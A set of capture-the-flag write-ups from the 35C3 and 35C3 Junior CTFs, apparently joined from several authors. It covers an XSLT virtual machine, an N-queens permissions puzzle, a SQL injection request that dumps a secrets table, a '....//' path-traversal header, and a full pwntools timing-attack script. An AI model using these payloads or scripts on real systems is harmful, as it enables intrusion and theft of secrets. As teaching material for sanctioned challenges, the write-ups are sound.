block, equivalent to a `switch` statement in conventional programming languages. The `<xsl:choose>` element checks to see what is "in" our plates, i.e. what elements are contained in our `<plate>` element. Let us have a look at one of these choices: ```xml<xsl:when test="count($c/paella) = 1"> <xsl:variable name="newdrinks"> <value> <xsl:value-of select="$c/paella + 0"/> </value> <xsl:copy-of select="$drinks"/> </xsl:variable> <xsl:call-template name="consume-meal"> <xsl:with-param name="chef-drinks" select="$chef-drinks"/> <xsl:with-param name="food-eaten" select="$food-eaten + 1"/> <xsl:with-param name="course" select="$r"/> <xsl:with-param name="drinks" select="exsl:node-set($newdrinks)//value"/> </xsl:call-template></xsl:when>``` In other words, if our `<plate>` contained a `<paella>` element, we will invoke `consume-meal` again with slightly modified parameters: - `chef-drinks` - `chef-drinks` (the 5 random numbers) remain the same - `food-eaten` - increased by one - `course` - `$r`, i.e. the remaining plates of this `<course>` - `drinks` - `$newdrinks`, created just above, consisting of some value (contained within our `<paella>` element) prepended to the original `$drinks` By this point it should be pretty clear that this XSLT is in fact a virtual machine! Each `<plate>` will contain an instruction which will modify the state and pass that state onto the next invocation of `consume-meal`. The `<course>` elements are blocks of instructions, in essence behaving like labels. `drinks` are in fact our stack. With a `<paella>` instruction we can push an immediate value to our stack. We can analyse all the instructions one by one: - `宫保鸡丁` - debug command, prints `chef-drinks` as well as `drinks` - `paella` - push immediate value to stack - `불고기` - duplicate a given element of the stack and push it - `Борщ` - pop top element of `chef-drinks` if it matches top of `drinks` - `दाल` - print the flag if no `chef-drinks` remain - `ラーメン` - push 1 if top of `drinks` is greater than top of `chef-drinks`, 0 otherwise - `stroopwafels` - push 1 if 2nd value in `drinks` is greater than top value in `drinks` - `köttbullar` - move a given element from `drinks` to the top - `γύρος` - remove a given element from `drinks` - `rösti` - add top elements of `drinks` - `לאַטקעס` - subtract top elements of `drinks` - `poutine` - multiply top elements of `drinks` - `حُمُّص` - integer divide top elements of `drinks` - `æblegrød` - jump to a given `<course>` if top of `drinks` is not 0 A limited instruction set, but Turing-complete nonetheless. Of particular note is `दाल` - prints the flag if (and only if) there are no more `chef-drinks`. In fact the 5 random numbers generated at the beginning form an additional stack, one that we cannot directly manipulate. The debug command `宫保鸡丁` prints out the values of `chef-drinks` (as well as our `drinks`), but this is indeed only useful for debugging – each time we run our XML on the server, the numbers are different, and we have no way to send what we saw from the debug command back to the XML file we submitted. So our XML needs to run instructions that will guess the `chef-drinks` (using `Борщ`) one by one, without seeing their values. The only other instruction dealing with `chef-drinks` is `ラーメン`, which compares the top of our stack `drinks` with the top of the challenge stack `chef-drinks`. In other words, we need to implement a binary search. We can adapt the pseudo-code for [binary search from Rosetta code](http://rosettacode.org/wiki/Binary_search): BinarySearch(A[0..N-1], value) { low = 0 high = N - 1 while (low <= high) { // invariants: value > A[i] for all i < low value < A[i] for all i > high mid = (low + high) / 2 if (A[mid] > value) high = mid - 1 else if (A[mid] < value) low = mid + 1 else return mid } return not_found // value would be inserted at index "low" } Since we only have `>`, the code we will implement is: high = 0x100000000; low = 0; while (high > low) { var mid = (low + high) >> 1; // integer divide by two if (mid + 1 > number) { high = mid; } else { low = mid + 1; } } During the CTF, I chose to implement a simple assembler. I was particularly worried about Unicode messing up my instructions (RTL marks, non-canonical ordering, bad copypaste), but of course labels and a minimum of type safety was a plus. Debugging wasn't particularly easy with the remote server, so at some point I also implemented an emulator to test my code. [Full assembler/emulator script here](scripts/Juggle.hx) ```bash$ haxe -D EMULATE --run Juggleins(0): PUSHI(0); stack: 0ins(1): PUSHI(8388608); stack: 8388608,0ins(2): PUSHI(1); stack: 1,8388608,0ins(3): PUSHI(1); stack: 1,1,8388608,0ins(4): JMP; stack: 8388608,0ins(0): PUSHI(2); stack: 2,8388608,0ins(1): PUSHI(1); stack: 1,2,8388608,0ins(2): DUPN; stack: 8388608,2,8388608,0ins(3): PUSHI(3); stack: 3,8388608,2,8388608,0ins(4): DUPN; stack: 0,8388608,2,8388608,0...... etc etc...ins(0): PUSHI(0); stack: 0,6830991,6830991ins(1): DROP; stack: 6830991ins(2): CHECK; checking 6830991 against 6830991 ... OK!stack: ins(3): END; flag!``` The submission generated is available [here](scripts/sol.xml). After running it on the server, we get the flag: `35C3_The_chef_gives_you_his_compliments` ## 215 rev / notifico ## **Description** > veni, vidi, notifici> > Notes: - only chmod, no touch - no root user, please - tar --no-same-owner -xhzf chall.tar.gz> > [Challenge files](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/notifico-b568d7b9b60a42e7e06471e2f9cb0883.tar.gz)> > **HINT**: The graph is a move graph for a certain type of chess piece. **Files provided** - [notifico.tar.gz](https://archive.aachen.ccc.de/35c3ctf.ccc.ac/uploads/notifico-b568d7b9b60a42e7e06471e2f9cb0883.tar.gz) **Solution** In the `tar` archive, we see three files: - `chall.tar` - another archive containing 225 directories with some 40-50 files each, although all but one in each directory are symlinks - `check.py` - flag decryption script invoking `check` in the process - `check` - ELF executable to verify a given directory The first step was to look into `check.py`. The important bit was: ```pythonVAL = 15 # ... res = subprocess.call(["./check", basedir]) if res == 255 or res != VAL: print("This looks no good...") exit(-1)else: print("A worthy try, let's see if it yields something readable...")``` So whatever directory we give it as our "solution", it will invoke the `check` executable on it. `check` in turn must return `VAL`, i.e. `15` for the solution to be considered valid. The SHA-256 hash of the UNIX permissions of the files in our solution directory is then used to decrypt a flag encrypted using AES. Given that there are `225` "regular" files and hundreds of symlinks in the `chall.tar` archive which forms the template for our solution, brute-force is infeasible. The hint given in the challenge description spoils what `chall.tar` is completely, so much so that I am surprised this challenge didn't have many more solutions after the hint was released. We can gain a similar understanding of `chall.tar` from how the `check` executable works and the general structure of the archive. Using IDA Pro we can find that `check` does roughly the following: - sets up `inotify` watchers on all regular (non-symlink) files in each of the `225` directories - try to `fopen` each of the `225` regular files in read/write mode, then `fclose` - set `result` to `0` - handle all triggered `inotify` events: - increment `result` by `1` - for each `IN_CLOSE_WRITE` event (i.e. file closed after write access), try to `execve` all the symlinks in the just-closed file's directory - exit with exit code `result` Note that `execve` will only succeed when the file referenced by the symlink can be executed; if `execve` succeeds, the program will crash, because there are no valid executables in the `chall.tar` directory (each regular file is only 1 byte long). In other words, `check` counts the regular files it can open whose "neighbours" (i.e. files referenced by the symlink it that file's directory) are not executable. One more extremely important hint: the number of directories in `chall.tar` is `225`, which is `15 * 15`, a perfect square. `VAL` is also `15`. We can also count how many files there are in each of the `225` directories. If we simply extract the archive and go through the directories in alphabetical order, the result is rather chaotic. However, the directories are contained in `chall.tar` in a particular order. We can see this with: ```bash$ tar -tvf chall.tardrwxr-xr-x 0 notifico notifico 0 Dec 22 14:06 chall/drwxr-xr-x 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/lrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/clxAKWStzqRKyxql -> ../eAvSLhONEWpXqnwu/JHFulfjgaQGnmOPxlrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/OfTFUEFIyGMZMoan -> ../HdWkyeWugdUHdzuU/rUXgDUpTytwSoWonlrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/drwKLoWvVcjNdMiX -> ../zoPhogrElBntiQUN/ThQhbYJgbiSZbykblrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/NrTOYjZgBjJHfNLu/zvXOjUgOepbQeCoe -> ../ISOYfrwvVOMZveHE/jroOyZVjiUCJCHgf.........lrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/fXWIMMRZvMSweIId/GIlMJUgUbXbYmdSE -> ../pNuhEkCjuZfTZWvi/JFhCuAbdlsMRpcNolrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/fXWIMMRZvMSweIId/KdDQXPXYBqQARKQc -> ../QdyTwLeNTUDvXTFI/DJLuDDWviVrYegVMlrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/fXWIMMRZvMSweIId/MCOiuhLUCuCoPZvn -> ../vruPGIPvYbkWqNzX/MHinNnRcKtLLeEXVlrwxrwxrwx 0 notifico notifico 0 Dec 22 14:06 chall/fXWIMMRZvMSweIId/ufIYqBqbfCgGIspR -> ../vqPxvKvBQGHntyiv/aYPWRwJUyOyHRILd-r-------- 0 notifico notifico 1 Dec 22 14:06 chall/fXWIMMRZvMSweIId/KYtdUumqvnfClEMF``` If we count the symlinks in the directories in this order and arrange them in a `15 * 15` square, we get a very neat result: 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42 42, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 42 42, 44, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 44, 42 42, 44, 46, 48, 48, 48, 48, 48, 48, 48, 48, 48, 46, 44, 42 42, 44, 46, 48, 50, 50, 50, 50, 50, 50, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 52, 52, 52, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 54, 54, 54, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 54, 56, 54, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 54, 54, 54, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 52, 52, 52, 52, 52, 50, 48, 46, 44, 42 42, 44, 46, 48, 50, 50, 50, 50, 50, 50, 50, 48, 46, 44, 42 42, 44, 46, 48, 48, 48, 48, 48, 48, 48, 48, 48, 46, 44, 42 42, 44, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 44, 42 42, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 42 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42 It is symmetric and there are more symlinks in the "central" directories. Maybe you can see where all of this (+ the explicit hint) is leading to. Chess! More specifically, a chess puzzle, the [N queens problem](https://en.wikipedia.org/wiki/Eight_queens_puzzle). The famous eight queens puzzle is a chess puzzle where the goal is to arrange `8` queens on a regular (`8 * 8`) chessboard without any of them being able to see one another (queens can move and see horizontally, vertically, and diagonally). In this case we have a `15` queens puzzle. Consider for example the top-left directory in the table above. It has `42` symlinks: Q, X, X, X, X, X, X, X, X, X, X, X, X, X, X X, X, ., ., ., ., ., ., ., ., ., ., ., ., . X, ., X, ., ., ., ., ., ., ., ., ., ., ., . X, ., ., X, ., ., ., ., ., ., ., ., ., ., . X, ., ., ., X, ., ., ., ., ., ., ., ., ., . X, ., ., ., ., X, ., ., ., ., ., ., ., ., . X, ., ., ., ., ., X, ., ., ., ., ., ., ., . X, ., ., ., ., ., ., X, ., ., ., ., ., ., . X, ., ., ., ., ., ., ., X, ., ., ., ., ., . X, ., ., ., ., ., ., ., ., X, ., ., ., ., . X, ., ., ., ., ., ., ., ., ., X, ., ., ., . X, ., ., ., ., ., ., ., ., ., ., X, ., ., . X, ., ., ., ., ., ., ., ., ., ., ., X, ., . X, ., ., ., ., ., ., ., ., ., ., ., ., X, . X, ., ., ., ., ., ., ., ., ., ., ., ., ., X Count the squares that the queen (`Q`) can see (`X`) and there are 42 of them. In fact, each of those `X`'s in the actual `chall.tar` is a symlink to that particular directory. Unfortunately, there are thousands of solutions to the 15 queens problem. Fortunately, we can generate them systematically with a script and hence decrypt the flag. Once again, we can adapt a program from [Rosetta Code](http://rosettacode.org/wiki/N-queens_problem). [Adapted C program here](scripts/queens.c) We let this C program generate all the solutions to the problem and have a Python script change each solution to a list of UNIX permissions in the order the original `check.py` script used (it sorted the directories alphabetically), SHA-256 hash it, and try to decrypt the flag. [Python decoder here](scripts/queens.py) (As per the challenge description, each "queen" would be marked by a regular file with `700` permissions, each non-queen would remain at `400` permissions, as provided in the `chall.tar` template.) `35C3_congr4ts_th0se_were_s0m3_truly_w3ll_pl4c3d_perm1ssions_Sir_`
# ultra secretThe challange was: ![ultra secret chall](https://i.imgur.com/4kf9EnM.png) And povides with a nc conection and source code. When you try to connect with the nc it ask you, very politly, to enter the "very secret password". ```$ nc 35.207.158.95 1337$ Please enter the very secret password:```Looking to the source code we see that is in Rust.It loads some hashes to a vector of strings and load the flag to the the flag variable. And then it ask for the password. The password must have at least 32 char and it only uses the first 32, and for each char of the password it calls function hash on it. If the hash of the char didn't match with the loaded one it killed the program whitch is useful for the attack. If it passes all the tests the flag is cat'd out. ![hash function](https://i.imgur.com/NnvsxYp.png) Lookin at the hash function we see that peforms a SHA256 on itself 9999 times. Instinctively, I though that would take a long time, so I'll try a Timming Attack. So with a payload of containing 32 'a' it took the server 0.85s to respond. So I started to change the first char of the payload and see how much time it takes to respond. ```payload timeaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.858063936234baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.859606981277caaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.858677148819daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.87083697319eaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.859264135361faaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.871843099594gaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.857834815979haaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.86031794548iaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.860155105591jaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.862596988678kaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.86190199852laaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.869740009308maaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.859644889832naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.857651948929oaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.863571882248paaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.857762813568qaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.857203960419raaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.867964982986saaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.863717079163taaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.868489980698uaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.861666917801vaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.861833095551waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.859680891037xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.858031988144yaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.86004281044zaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.863693952560aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.8582868576051aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 1.524066925052aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.8638398647313aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.8605070114144aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.8724660873415aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.8577637672426aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.8593251705177aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.8583719730388aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.8607850074779aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0.862840890884```And I notice when the payload started it with a '1', it took 0.66s more to respond and that the rest averaged at the same time to respond. So I gether that the hash function takes 0.66s to be executed on the server's machine. With that a created a script to extract char by char of the password using the time it takes to the server to respond. After a long time, the flag poped out on the terminal`35C3_timing_attacks_are_fun!_:)` and the final payload was `10e004c2e186b4d280fad7f36e779ed4`
# 35C3 Junior CTF – DB Secret * **Category:** Web* **Points:** 89 (variable) ## Challenge > To enable secure microservices (or whatever, we don't know yet) over Wee in the future, we created a specific DB_SECRET, only known to us. This token is super important and extremely secret, hence the name. The only way an attacker could get hold of it is to serve good booze to the admins. Pretty sure it's otherwise well protected on our secure server.>> http://35.207.189.79/>> Difficulty Estimate: Medium>> ===============================================>> Good coders should learn one new language every year.>> InfoSec folks are even used to learn one new language for every new problem they face (YMMV).>> If you have not picked up a new challenge in 2018, you're in for a treat.>> We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point.>> Some cool Projects can be created in Wee, like: this, this and that.>> Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py.>> Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here).>> We even added new features to this better server, like server-side Wee evaluation!>> To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. ## Solution Analyzing `http://35.207.189.79/pyserver/server.py` some interesting snippets can be discovered. The vulnerable functionality is the following, because the query contains parameters replaced and not sanitized. ```[email protected]("/api/getprojectsadmin", methods=["POST"])def getprojectsadmin(): # ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class); # ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset)); name = request.cookies["name"] token = request.cookies["token"] user, username, email, usertype = user_by_token(token) json = request.get_json(force=True) offset = json["offset"] sorting = json["sorting"] if name != "admin": raise Exception("InvalidUserName") sortings = { "newest": "created DESC", "oldest": "created ASC", "lastmodified": "lastModified DESC" } sql_sorting = sortings[sorting] if not offset: offset = datetime.datetime.now() return jsonify_projects(query_db( "SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' " "ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin")``` To obtain the `token` value, a login with `admin` user must be performed. The `token` will be set into the cookies. The login can be performed like in the [Logged In challenge](https://github.com/m3ssap0/CTF-Writeups/tree/master/35C3%20Junior%20CTF/Logged%20In). The `DB_SECRET` variable, with the flag, is stored in another table that can be discovered in the following function. ```Pythondef init_db(): with app.app_context(): db = get_db() with open(MIGRATION_PATH, "r") as f: db.cursor().executescript(f.read()) db.execute("CREATE TABLE `secrets`(`id` INTEGER PRIMARY KEY AUTOINCREMENT, `secret` varchar(255) NOT NULL)") db.execute("INSERT INTO secrets(secret) values(?)", (DB_SECRET,)) db.commit()``` At this point a SQL injection payload can be crafted and sent to the server. The complete request with SQL injection payload is the following. ```POST http://35.207.189.79/api/getprojectsadmin HTTP/1.1Accept-Encoding: gzip,deflateCookie: token=menuknmgxhnnhbckbdspzaommgyiecsz; name=admin; logged_in=35C3_LOG_ME_IN_LIKE_ONE_OF_YOUR_FRENCH_GIRLSContent-Type: application/jsonContent-Length: 141Host: 35.207.189.79Connection: Keep-AliveUser-Agent: Apache-HttpClient/4.1.1 (java 1.5) { "offset" : "2018-12-25 00:00:00' UNION SELECT NULL, secret, NULL, NULL, NULL, NULL, NULL, NULL FROM secrets ---", "sorting" : "newest"}``` The answer will be the following. ```HTTP/1.1 200 OKServer: nginx/1.13.12Date: Sat, 29 Dec 2018 19:44:52 GMTContent-Type: application/jsonContent-Length: 187Connection: keep-aliveX-Frame-Options: SAMEORIGINX-Xss-Protection: 1; mode=blockX-Content-Type-Options: nosniffContent-Security-Policy: script-src 'self' 'unsafe-inline';Referrer-Policy: no-referrer-when-downgradeFeature-Policy: geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; fullscreen *; payment 'self'; [{"code":null,"content":null,"created":null,"lastModified":null,"public":null,"title":null,"type":null,"userName":"35C3_ALL_THESE_YEARS_AND_WE_STILL_HAVE_INJECTIONS_EVERYWHERE__HOW???"}]``` So, the flag is the following. ```35C3_ALL_THESE_YEARS_AND_WE_STILL_HAVE_INJECTIONS_EVERYWHERE__HOW???```
# 35C3 Junior CTF – Conversion Error * **Category:** Misc* **Points:** 87 (variable) ## Challenge > With assert_conversion(str: string), we assert that our VM properly handles conversions. So far we never triggered the assertion and are certain it's impossible.>> http://35.207.189.79/>> Difficulty estimate: Medium>> ===============================================>> Good coders should learn one new language every year.>> InfoSec folks are even used to learn one new language for every new problem they face (YMMV).>> If you have not picked up a new challenge in 2018, you're in for a treat.>> We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point.>> Some cool Projects can be created in Wee, like: this, this and that.>> Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py.>> Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here).>> We even added new features to this better server, like server-side Wee evaluation!>> To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. ## Solution The *Wee* interpreter source code can be found here: `http://35.207.189.79/weelang/weeterpreter.ts`. The endpoint that can be used to run *Wee* code is the following. ```http://35.207.189.79/wee/run``` The assertion that must be exploited is the following. ```Typescriptexternals.addFunction( "assert_conversion", [{name: "str", type: compiler.StringType}], compiler.StringType, false, (str: string) => str.length === +str + "".length || !/^[1-9]+(\.[1-9]+)?$/.test(str) ? "Convert to Pastafarianism" : flags.CONVERSION_ERROR)``` The second part of the condition contains an *or* operation. The regex refers to floating point numbers, so it is sufficient to make it `true`. The payload is the following. ```alert(assert_conversion("1.1"))``` The following Python script can be used to send the payload. ```Pythonimport requestsimport json url = "http://35.207.189.79/wee/run"data_structure = """{{ "code": {} }}"""data_content = """alert(assert_conversion("1.1"))""" data_content_to_send = json.dumps(data_content)data_to_send = data_structure.format(data_content_to_send)print "[*] Payload: '{}'.".format(data_to_send)response = requests.post(url, data=data_to_send)print "[*] Response: '{}'.".format(response.text)``` The flag is the following. ```35C3_FLOATING_POINT_PROBLEMS_I_FEEL_B4D_FOR_YOU_SON```
# 35C3 Junior CTF – Wee R Leet * **Category:** Misc* **Points:** 75 (variable) ## Challenge > Somebody forgot a useless assert function in the interpreter somewhere. In our agile development lifecycle somebody added the function early on to prove it's possible. Wev've only heared stories but apparently you can trigger it from Wee and it behaves differently for some "leet" input(?) What a joker. We will address this issue over the next few sprints. Hopefully it doesn't do any harm in the meantime.>> http://35.207.189.79/>> Difficulty estimate: Easy>> ===============================================>> Good coders should learn one new language every year.>> InfoSec folks are even used to learn one new language for every new problem they face (YMMV).>> If you have not picked up a new challenge in 2018, you're in for a treat.>> We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point.>> Some cool Projects can be created in Wee, like: this, this and that.>> Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py.>> Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here).>> We even added new features to this better server, like server-side Wee evaluation!>> To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. ## Solution The *Wee* interpreter source code can be found here: `http://35.207.189.79/weelang/weeterpreter.ts`. The endpoint that can be used to run *Wee* code is the following. ```http://35.207.189.79/wee/run``` The assertion that must be exploited is the following. ```Typescriptexternals.addFunction( "assert_leet", [{name: "maybe_leet", type: compiler.NumberType}], compiler.StringType, false, (maybe_leet: number) => maybe_leet !== 0x1337 ? "WEE AIN'T LEET" : flags.WEE_R_LEET)``` `0x1337` is `4919` in decimal. Hence, payload is the following. ```alert(assert_leet(4919))``` The following Python script can be used to send the payload. ```Pythonimport requestsimport json url = "http://35.207.189.79/wee/run"data_structure = """{{ "code": {} }}"""data_content = """alert(assert_leet(4919))""" data_content_to_send = json.dumps(data_content)data_to_send = data_structure.format(data_content_to_send)print "[*] Payload: '{}'.".format(data_to_send)response = requests.post(url, data=data_to_send)print "[*] Response: '{}'.".format(response.text)``` The flag is the following. ```35C3_HELLO_WEE_LI77LE_WORLD```
# 35C3 Junior CTF – Equality Error * **Category:** Misc* **Points:** 88 (variable) ## Challenge > At assert_equals(num: number), we've added an assert to make sure our VM properly handles equality. With only a few basic types, it's impossible to mess this one up, so the assertion has never been triggered. In case you do by accident, please report the output.>> http://35.207.189.79/>> Difficulty estimate: Medium>> ===============================================>> Good coders should learn one new language every year.>> InfoSec folks are even used to learn one new language for every new problem they face (YMMV).>> If you have not picked up a new challenge in 2018, you're in for a treat.>> We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point.>> Some cool Projects can be created in Wee, like: this, this and that.>> Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py.>> Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here).>> We even added new features to this better server, like server-side Wee evaluation!>> To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. ## Solution The *Wee* interpreter source code can be found here: `http://35.207.189.79/weelang/weeterpreter.ts`. The endpoint that can be used to run *Wee* code is the following. ```http://35.207.189.79/wee/run``` The assertion that must be exploited is the following. ```Typescriptexternals.addFunction( "assert_equals", [{name: "num", type: compiler.NumberType}], compiler.StringType, false, (num: number) => num === num ? "EQUALITY WORKS" : flags.EQUALITY_ERROR)``` This is the behavior of `NaN`. To generate it, the square root of a negative number can be calculated (i.e. the "constant" `NaN` is non defined in *Wee* language). The payload is the following. ```alert(assert_equals(sqrt(-1)))``` The following Python script can be used to send the payload. ```Pythonimport requestsimport json url = "http://35.207.189.79/wee/run"data_structure = """{{ "code": {} }}"""data_content = """alert(assert_equals(sqrt(-1)))""" data_content_to_send = json.dumps(data_content)data_to_send = data_structure.format(data_content_to_send)print "[*] Payload: '{}'.".format(data_to_send)response = requests.post(url, data=data_to_send)print "[*] Response: '{}'.".format(response.text)``` The flag is the following. ```35C3_NANNAN_NANNAN_NANNAN_NANNAN_BATM4N```
# 35C3 Junior CTF – flags * **Category:** Web* **Points:** 37 (variable) ## Challenge > Fun with flags: http://35.207.169.47>> Flag is at /flag>> Difficulty estimate: Easy ## Solution The page shows the PHP snippet of which is composed and an image. The PHP code is the following. ```PHP';``` The web site extracts the language passed via HTTP header, considers the first language and tries to load a picture from the `flags` folder; that picture will be displayed. Even if the `str_replace('../', '', $lang)` instruction is used, the path traversal vulnerability is still present and can be abused using `....//` instead of `../`. After some attempts, you will discover the correct HTTP header to use. ```Accept-Language: ....//....//....//....//flag``` The returned "image" will be the following. ```HTML``` Decoding the Base64 will give you the flag. ```35c3_this_flag_is_the_be5t_fl4g```
# 35C3 Junior CTF – ultra secret * **Category:** Misc* **Points:** 102 (variable) ## Challenge > This flag is protected by a password stored in a highly sohpisticated chain of hashes. Can you capture it nevertheless? We are certain the password consists of lowercase alphanumerical characters only.>> nc 35.207.158.95 1337>> Difficulty estimate: Easy ## Solution You will have the server source code written in *Rust*. ```Rustextern crate crypto; use std::io;use std::io::BufRead;use std::process::exit;use std::io::BufReader;use std::io::Read;use std::fs::File;use std::path::Path;use std::env; use crypto::digest::Digest;use crypto::sha2::Sha256; fn main() { let mut password = String::new(); let mut flag = String::new(); let mut i = 0; let stdin = io::stdin(); let hashes: Vec<String> = BufReader::new(File::open(Path::new("hashes.txt")).unwrap()).lines().map(|x| x.unwrap()).collect(); BufReader::new(File::open(Path::new("flag.txt")).unwrap()).read_to_string(&mut flag).unwrap(); println!("Please enter the very secret password:"); stdin.lock().read_line(&mut password).unwrap(); let password = &password[0..32]; for c in password.chars() { let hash = hash(c); if hash != hashes[i] { exit(1); } i += 1; } println!("{}", &flag)} fn hash(c: char) -> String { let mut hash = String::new(); hash.push(c); for _ in 0..9999 { let mut sha = Sha256::new(); sha.input_str(&hash); hash = sha.result_str(); } hash}``` The server asks for a password and calculates 9999 chained hashes, with SHA-256, for each passed char. The result for each char is compared with a stored one into a text file. If all chars are correct, then the flag is printed from a text file. If a char is wrong the script terminates itself. There is nothing wrong into the script and the only way to print the flag is to discover the password. The time to compute several hashes can be high. If a submitted char is correct, the time to receive the answer will be greater of the time to receive the answer for a wrong char, because the hash calculation for the next char will be executed. Hence a timing attack can be used to guess all the chars. A Python script can be developed to automatize the operation. ```Pythonfrom pwn import * # 10e004c2e186b4d280fad7f36e779ed4 chars = list("1234567890qwertyuiopasdfghjklzxcvbnm")password = list(" "*32)possible_flag = None for p in range(len(password)): print "[*] Char {}.".format(p) if password[p] != " ": print "[*] Already set, going on..." continue best_char = " " best_response_time = 0.0 for c in range(len(chars)): password[p] = chars[c] password_string = "".join(password) print "[*] Testing password '{}'.".format(password_string) r = remote("35.207.158.95", 1337) print r.recvline() r.sendline(password_string) start = time.time() received_response = r.recvall() end = time.time() print received_response r.close() if received_response is not None and "35c3" in received_response.lower(): possible_flag = received_response response_time = end - start print "[*] Response time is '{}'.".format(response_time) if response_time > best_response_time: best_response_time = response_time best_char = chars[c] password[p] = best_char password_string = "".join(password)print " ===================================================="print "[*] The password is '{}'.".format(password_string)print " ====================================================" if possible_flag is not None: print "[*] A possible flag is '{}'.".format(possible_flag) print " ====================================================" print "[*] Testing password '{}'.".format(password_string)r = remote("35.207.158.95", 1337)print r.recvline()r.sendline(password_string)print r.recvall()``` The password is: `10e004c2e186b4d280fad7f36e779ed4`. The flag is the following. ```35C3_timing_attacks_are_fun!_:)```
